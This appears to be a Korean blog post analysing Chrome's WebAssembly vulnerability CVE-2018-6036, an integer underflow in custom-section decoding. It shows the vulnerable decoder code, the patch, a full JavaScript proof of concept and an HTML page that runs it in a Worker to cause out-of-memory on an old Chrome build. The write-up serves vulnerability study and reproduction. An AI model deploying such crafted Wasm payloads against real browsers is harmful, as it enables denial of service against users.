본 글은 이전글에 이어 [이재홍, 최형기 성균관대학교 소프트웨어융합대학 <Chromium WebAssembly 취약점 사례 분석: Overflow, Underflow 관련 사례를 중점으로> ACK 2021 학술발표대회 논문집 (28권 2호)]를 참고하여 작성한 글임을 사전에 밝힌다.
CVE-2018-6036
CVE-2018-6036 취약점은 Chrome 64.0.3282.119 이전 버전에서 Wasm Module을 제작할 때 Custom Section에서 유효하지 않은 Section Length에도 불구하고 Module이 만들어지며 생기는 문제이다.
본 취약점은 Main Thread가 아닌 Worker Thread에서 발생하는데 여기서 Main Thread는 브라우저가 사용자 이벤트를 처리하는 곳이며, Worker Thread는 Main Thread와 달리 백그라운드에서 동작하는 스레드이다.
취약점을 발생시키기 위해선 Buffer의 크기를 제어해야 하는데, Main Thread에선 Buffer의 크기를 제어하는 것이
불가능해 Buffer의 크기를 제어 가능한 Worker Thread에서만 취약점을 발생 가능하다.
Main Thread에서 발생하는 취약점이 아니기에 직접적인 브라우저의 Crash는 발생하지 않지만
Worker Thread에서 Out Of Memory 오류를 발생시킨다.
while (decoder.more()) {
byte section_code = decoder.consume_u8("section code");
uint32_t section_length = decoder.consume_u32v("section length");
uint32_t section_start = decoder.pc_offset();
...
uint32_t name_length = decoder.consume_u32v("name length");
uint32_t name_offset = decoder.pc_offset();
decoder.consume_bytes(name_length, "section name");
uint32_t payload_offset = decoder.pc_offset();
uint32_t payload_length = (section_length - (payload_offset - section_start));
decoder.consume_bytes(payload_length);
}
위 코드는 취약점이 발생하는 DecodeCustomSections() 함수의 일부로 여기서 OOM(Out Of Memory)가 발생하는 핵심적인 구간은 아래와 같다.
uint32_t payload_length = (section_length - (payload_offset - section_start));
사용자는 Section Code, Section Length, Name Length를 입력할 수 있는데, Section Length를 0과 같이
유효하지 않은 값을 입력했을 때 Payload_length 또한 유효하지 않은 값을 갖게 되고, 이를 통해 OOM 에러가
발생한다.
취약점 수정
// CVE-2018-6036 수정 전
uint32_t payload_length = (section_length - (payload_offset - section_start));
// CVE-2018-6036 수정 후
if (section_length < (payload_offset - section_start)) {
decoder.error("invalid section length");
break;
}
기존의 문제가 되었던 위 Payload_length를 선언하는 구문을 조건문을 통해 한번 검증함으로써
취약점을 패치하였다.
PoC 분석
PoC 코드는 아래와 같다.
// PoC Code
var string_len = 0x0FFFFFF0 - 18;
var backing = new ArrayBuffer(string_len + 18);
// Binary code
var buffer = new Uint8Array(backing);
// Fill Buffer with bunch of "A"
buffer.fill(0x41);
// Wasm Magic
buffer.set([0x00, 0x61, 0x73, 0x6D], 0);
// Wasm Version
buffer.set([0x01, 0x00, 0x00, 0x00], 4);
// Section Define = 0 = custom section
buffer.set([0], 8);
// Section Length = 0
buffer.set([0x80, 0x80, 0x80, 0x80, 0x00], 9);
// Name Length = 0x0FFFFFF0 - 18
buffer.set([0xDE, 0xFF, 0xFF, 0x7F], 14);
var m = new WebAssembly.Module(buffer);
var c = WebAssembly.Module.customSections(m, "A".repeat(string_len));
PoC 코드의 핵심 부분은 아래와 같다.
// Section Length = 0
buffer.set([0x80, 0x80, 0x80, 0x80, 0x00], 9);
WebAssembly 바이너리 포맷에서 데이터 크기와 관련된 값들을 LEB128 형식으로 저장하는데
결과적으로 위 코드를 통해 Section Length가 0으로 해석되게 된다.
uint32_t payload_length = (section_length - (payload_offset - section_start));
따라서 위 코드에 의해 Payload_length가 음수로 선언되며 Integer Underflow에 의해 Payload_length가 비정상적으로
큰 값으로 선언되며 의도하지 않은 메모리까지 데이터를 읽어 문제가 발생하는 것이다.
재현
취약점의 재현을 위해 취약점이 패치되기 이전의 버전인 Linux 61.0.3163.79 64bit Chrome을
Ubuntu 16.04.7 x64 환경에서 재현하였다.
메인스레드에서 발생하는 취약점이 아닌 워커 스레드에서 발생하는 취약점이기에
가상 환경에서 index.html을 만들어 Worker Thread에서 PoC 코드가 동작하게 하였다.
<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2018-6036</title>
</head>
<body>
<h1><strong>CVE-2018-6036</strong></h1>
<h2>CVE-2018-6036 PoC</h2>
self.onmessage = function(event) {<br><br>
try {<br>
var string_len = 0x0FFFFFF0 - 18;<br>
var backing = new ArrayBuffer(string_len + 18);<br>
var buffer = new Uint8Array(backing);<br><br>
buffer.fill(0x41);<br>
buffer.set([0x00, 0x61, 0x73, 0x6D], 0);<br>
buffer.set([0x01, 0x00, 0x00, 0x00], 4);<br>
buffer.set([0x00], 8);<br>
buffer.set([0x80, 0x80, 0x80, 0x80, 0x00], 9);<br>
buffer.set([0xDE, 0xFF, 0xFF, 0x7F], 14);<br><br>
var m = new WebAssembly.Module(buffer);<br>
self.postMessage("Module created successfully.");<br><br>
var c = WebAssembly.Module.customSections(m, "A".repeat(string_len));<br>
self.postMessage("Custom section processed: " + c);<br><br>
} catch (e) {
self.postMessage("Error: " + e.message);<br>
}
};
<script>
const workerCode = `
// PoC code
self.onmessage = function(event) {
try {
var string_len = 0x0FFFFFF0 - 18;
var backing = new ArrayBuffer(string_len + 18);
var buffer = new Uint8Array(backing);
buffer.fill(0x41);
buffer.set([0x00, 0x61, 0x73, 0x6D], 0);
buffer.set([0x01, 0x00, 0x00, 0x00], 4);
buffer.set([0x00], 8);
buffer.set([0x80, 0x80, 0x80, 0x80, 0x00], 9);
buffer.set([0xDE, 0xFF, 0xFF, 0x7F], 14);
var m = new WebAssembly.Module(buffer);
self.postMessage("Module created successfully.");
var c = WebAssembly.Module.customSections(m, "A".repeat(string_len));
self.postMessage("Custom section processed: " + c);
} catch (e) {
self.postMessage("Error: " + e.message);
}
};
`;
// Blob으로 Worker 생성
const blob = new Blob([workerCode], { type: "application/javascript" });
const worker = new Worker(URL.createObjectURL(blob));
// Worker 메시지 처리
worker.onmessage = function(event) {
console.log(event.data);
};
// Worker 실행 시작
worker.postMessage({});
</script>
</body>
</html>
</html>
이후 아래의 명령을 통해 가상머신 안에서 localhost:8000으로 접근 가능하게 설정하였다.
python3 -m http.server
'Project' 카테고리의 다른 글
[Wasm] WebAssembly API란? (0) | 2025.02.27 |
---|---|
[Wasm] CVE-2017-5088(Out of Bound) 취약점 분석 및 재현 (0) | 2025.02.27 |
[Wasm] CVE-2018-6092(Overflow) 취약점 분석 및 재현 (0) | 2025.02.27 |
[Wasm] 웹 어셈블리 c코드로 변환하기 (0) | 2025.02.27 |
[Wasm] 웹 어셈블리 파일 .wasm 생성하기 (0) | 2025.02.27 |